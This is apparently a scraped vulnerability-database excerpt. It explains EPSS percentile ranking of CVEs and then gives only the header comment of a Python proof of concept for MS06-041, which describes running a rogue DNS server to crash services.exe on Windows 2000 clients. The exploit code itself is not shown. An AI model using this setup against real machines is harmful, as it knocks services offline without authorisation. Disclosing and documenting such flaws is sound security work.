The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/python #POC for MS06-041 #Run the python script passing the local ip address as parameter. The DNS server #will start listening on this ip address for DNS hostname resolution queries. #This script is for testing and educational purpose and so to test this one will #have to point the DNS resolver on the target/client to the ip address on which #this script runs. #Open up internet explorer and type in a hostname. services.exe will crash. #You may have to repeat this two or three times to see the crash in services.exe # Tested on Windows 2000 server SP0 and SP1 inside VmWare. Could not # reproduce on SP4 though it is also vulnerable. May be I missed something :) # # For testing/educational purpose.
